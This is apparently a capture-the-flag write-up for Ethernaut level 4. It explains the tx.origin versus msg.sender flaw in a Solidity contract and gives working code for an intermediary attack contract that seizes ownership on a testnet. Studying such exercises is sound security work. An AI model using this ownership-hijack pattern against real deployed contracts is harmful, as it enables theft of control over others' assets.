Ethernaut L4: Telephone. Difference between tx.origen & msg.sender Globals Variables

05/02/2022


To overcome this challenge, we have to become the owner of the contract.

The contract is very simple:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;
  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}


We see that we've a public variable of type address called owner, wich is definided at the time that the contract is deployed (at that moment, the constructor function is executed, defining the owner variable as the address that deployed the contract).

After that, the contract has a public function called changeOwner, which receives as parameter an address, and performs the following check:

if (tx.origin != msg.sender)

If this instruction returns true, the function assings the state variable owner as the address passed as parameter. 

What is the difference between tx.origin vs msg.sender? 

Both are native Solidity global variables of type address, which means that these variables can be called from anywhere in the contract without the need to import anything.

tx.origin:

 The original user wallet that initiated the transaction
 The origin address of potentially an entire chain of transactions and calls
 Only user wallet addresses can be the tx.origin
A contract address never can be the tx.origin

msg.sender:

 The immediate sender of this specific transaction or call
 Both user wallets and smart contracts can be the msg.sender

In a simple call chain A->B->C->D, inside D msg.sender will be C, and tx.origin will be A.

Example

msg.sender checks where the external function call directly came from.


Overcoming the challenge
To hack the contract and claim ownership all we need to do is to create a new malicious contract (Contract B) that we'll use it for call the changeOwner function of the original contract Telephone.sol (Contract A in our example).

To create smart contracts we've so many options of frameworks like Hardhat, Truffle, etc. but for this challenge I go to use Remix IDE. This tools offers us a complete development environment to create and deploy Smart Contracs directly from our browser.

1. Create a new contract (with the name you want, in my case I called it TelephoneAttack). 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TelephoneAttack{
    
}

2. We create an interface of the Telephone contract, this interface is the one we will use to interact with it. Inside the interface we must specify the functions as external.

interface ITelephoneContract{
    function changeOwner(address _owner) external;
}

3. Inside the constructor of the Attacker contract we will create the instance of the victim contract (using the interface) with the address provided by Ethernaut.

ITelephoneContract public challenge;
    
constructor(address _victimAddress){
   challenge = ITelephoneContract(_victimAddress);
}

4. We create a function called Attack that simply calls the changeOwner function of the contract instance belonging to the challenge.

function attack(address _newOwner) public {
  challenge.changeOwner(_newOwner);
}

Deploying the attacking contract

Before deploying the contract, we verify that the "ENVIRONMENT" parameter of Remix is set to "Injected Web3". Then, when deploying it, we pass the constructor parameter, which is the address of the challenge instance (to find out we can type "await contract.address" in the console).


We confirm the transaction in our wallet and the contract is now deployed on the Rinkeby network.

Interacting with the attacking contract

Remix creates a section with the contracts that we have deployed, in it we have in graphic form the functions or public variables of the deployed contracts with which we can interact.


In this case, since the TelephoneAttack contract has only one public function called attack, we can interact with it by sending it our address as a parameter. 

And that's it! we can check if we are the owner of the contract by typing await contract.owner() and verifying that it is equal to our address.